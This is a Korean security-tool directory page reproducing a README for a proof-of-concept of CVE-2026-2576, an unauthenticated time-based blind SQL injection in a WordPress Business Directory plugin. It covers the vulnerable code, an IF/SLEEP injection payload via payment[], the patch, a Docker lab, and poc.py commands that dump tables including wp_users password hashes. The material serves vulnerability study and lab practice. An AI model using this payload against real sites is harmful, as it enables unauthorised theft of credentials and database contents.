Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE_2026_2576_PoC — CVE-2026-2576 — Business Directory 플러그인 SQLi PoC (로컬 설정). 인증되지 않은 시간 기반 블라인드 SQL 인젝션, WordPress용 Business Directory 플러그인 ≤ 6.4.21 | Kitploit
도구/GitHubGitHub/sowatkheang/cve_2026_2576_poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubsowatkheang/cve_2026_2576_poc

CVE_2026_2576_PoC

CVE-2026-2576 — Business Directory 플러그인 SQLi PoC (로컬 설정). 인증되지 않은 시간 기반 블라인드 SQL 인젝션, WordPress용 Business Directory 플러그인 ≤ 6.4.21

저장소 보기
2626개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-2576 — Business Directory 플러그인 SQLi PoC

인증되지 않은 시간 기반 블라인드 SQL 인젝션
Business Directory Plugin for WordPress ≤ 6.4.21


목차

  • 취약점 개요
  • 기술 분석
  • 랩 요구 사항
  • 랩 설정
  • PoC 실행
  • 예상 출력
  • 패치 분석
  • 참고 자료
  • 면책 조항

취약점 개요

필드세부 정보
CVECVE-2026-2576
플러그인Business Directory Plugin – Easy Listing Directories for WordPress
공급업체strategy11team
영향 범위6.4.21 이하 모든 버전
패치 버전6.4.22
유형시간 기반 블라인드 SQL 인젝션 (CWE-89)
인증없음 — 완전히 인증되지 않음
CVSS7.5 (NVD) / 9.3 (Wordfence)
벡터CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
배정 기관Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2
공개일2026년 2월 18일

Business Directory Plugin은 결제 지원 기능이 있는 목록형 디렉토리를 구축하기 위해 널리 사용되는 WordPress 플러그인입니다. 이 플러그인의 ORM 쿼리 빌더 결함으로 인해 인증되지 않은 공격자가 payment 쿼리 매개변수를 통해 시간 기반 블라인드 SQL 인젝션을 수행하여 데이터베이스 내용을 추론할 수 있습니다.


기술 분석

근본 원인

취약점은 ORM 쿼리 빌더에 있습니다:

파일: includes/db/class-db-query-set.php — filter_args()

private function filter_args( $args ) {
    $filters = array();

    foreach ( $args as $f => $v ) {
        $op = '=';
        // ...

        if ( is_array( $v ) ) {
            // ❌ 취약 — 검증 없음, 직접 문자열 연결
            $filters[] = "$f IN ('" . implode( "','", $v ) . "')";
        } else {
            // ✓ 안전 — $wpdb->prepare() 사용
            $filters[] = $this->db->prepare( "$f $op %s", $v );
        }
    }

    return $filters;
}

$v가 스칼라인 경우 코드는 $wpdb->prepare()를 올바르게 사용합니다. $v가 배열인 경우 안전하지 않은 분기로 들어가 이스케이프 없이 값을 SQL 문자열에 직접 연결합니다.

트리거

체크아웃 컨트롤러(includes/controllers/pages/class-checkout.php)는 payment 요청 매개변수를 읽어 ORM에 전달합니다:

// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
    $this->payment = WPBDP_Payment::objects()->get(
        array( 'payment_key' => $payment_id )  // $payment_id가 값으로 전달됨
    );
}

PHP는 쿼리 문자열의 payment[]=value를 자동으로 배열 $_GET['payment'] = ['value']로 변환합니다. 이로 인해 filter_args()에서 $v가 배열이 되어 안전하지 않은 분기가 실행됩니다.

인젝션 흐름

GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>

  PHP: $_REQUEST['payment'] = ['<payload>']   ← [] 표기법으로 인해 배열
                    |
                    v
  class-checkout.php: fetch_payment()
                    |
                    v
  WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
                    |
                    v
  class-db-query-set.php: filter_args()
      => is_array($v) == TRUE → 안전하지 않은 분기
      => "$f IN ('" . implode("','", $v) . "')"
                    |
                    v
  MySQL: SELECT * FROM wp_wpbdp_payments
         WHERE payment_key IN ('<payload>')

인젝션 페이로드

payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -

생성된 SQL:

SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')

-- -는 끝의 ')를 주석 처리합니다. IF()는 부울 오라클을 생성하며, 조건이 TRUE이면 SLEEP(N)이 실행되어 응답이 지연되고, FALSE이면 응답이 즉시 반환됩니다.

참고: ORM은 요청당 쿼리를 두 번 실행하므로(get()에서 한 번, maybe_execute_query()에서 한 번), SLEEP(1) 페이로드는 약 2초의 관찰 가능한 지연을, SLEEP(2)는 약 4초의 지연을 생성합니다.

영향

인증되지 않은 공격자는 시간 기반 응답을 통해 데이터베이스 내용을 문자 단위로 추론하고 추출할 수 있습니다:

  • WordPress 사용자 테이블(wp_users), 사용자 이름, 이메일 주소, 비밀번호 해시
  • 플러그인 결제 기록, 거래 데이터, 목록 소유자 정보
  • DB 사용자가 접근할 수 있는 기타 모든 테이블

패치

6.4.22 버전의 수정 사항은 filter_args()의 배열 분기에 검증을 추가합니다:

// 이전 (취약)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";

// 이후 (패치됨)
$escaped   = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";

랩 요구 사항

  • Docker + Docker Compose (v2)
  • Python 3.9+
  • Kali Linux 또는 모든 Linux 호스트
  • 인터넷 접속 (Docker 이미지 및 플러그인 다운로드용)

Python 종속성 설치:

pip3 install requests colorama --break-system-packages

랩 설정

1단계: 랩 디렉토리 클론 또는 생성

cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini

2단계: 전체 스택 시작

cd cve-2026-2576-lab
docker compose up -d --build

3단계: 설치 프로그램 실행 및 완료 대기

docker compose up setup

다음 메시지가 표시될 때까지 기다립니다:

╔══════════════════════════════════════════════════════════╗
║           Lab Setup Complete!                            ║
╠══════════════════════════════════════════════════════════╣
║  WordPress:   http://localhost:8080                      ║
║  WP Admin:    http://localhost:8080/wp-admin             ║
║  phpMyAdmin:  http://localhost:8082                      ║
╠══════════════════════════════════════════════════════════╣
║  admin / admin123                                        ║
║  victim / victimpass123                                  ║
╠══════════════════════════════════════════════════════════╣
║  Plugin: 6.4.21 (VULNERABLE)                             ║
║  BD Page ID: 4                                           ║
╚══════════════════════════════════════════════════════════╝

4단계: 취약한 플러그인 버전 확인

docker exec lab_wordpress bash -c \
  "grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
  | head -1"
# 예상 출력: * Version: 6.4.21

5단계: 데이터베이스에서 실제 payment_key 가져오기

docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key  | status  |
+----+--------------+---------+
|  1 | seed-pay-001 | pending |
+----+--------------+---------+

6단계: phpMyAdmin 시작 (선택 사항, DB 검사용)

docker compose up -d pma
# http://localhost:8082 에서 접속 (root / rootpass)

PoC 실행

모든 명령은 Kali 호스트의 랩 루트 디렉토리에서 실행합니다. http://localhost:8080 사용 (호스트 → Docker 포트 매핑). payment_key는 wp_wpbdp_payments의 기존 행과 일치해야 합니다.

탐지: 인젝션 존재 확인

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect

예상 출력: INJECTION CONFIRMED ✓ (2.03s ≈ 1s × 2 ORM executions)

Alt text

추출: 데이터베이스 이름, 버전, 사용자

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

Alt text

목록: 데이터베이스의 모든 테이블

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables

덤프: WordPress 사용자 테이블 (비밀번호 해시)

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users

덤프: 사용자 정의 테이블 (시드된 비밀)

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets

사용자 정의 SQL 표현식 추출

도구 다운로드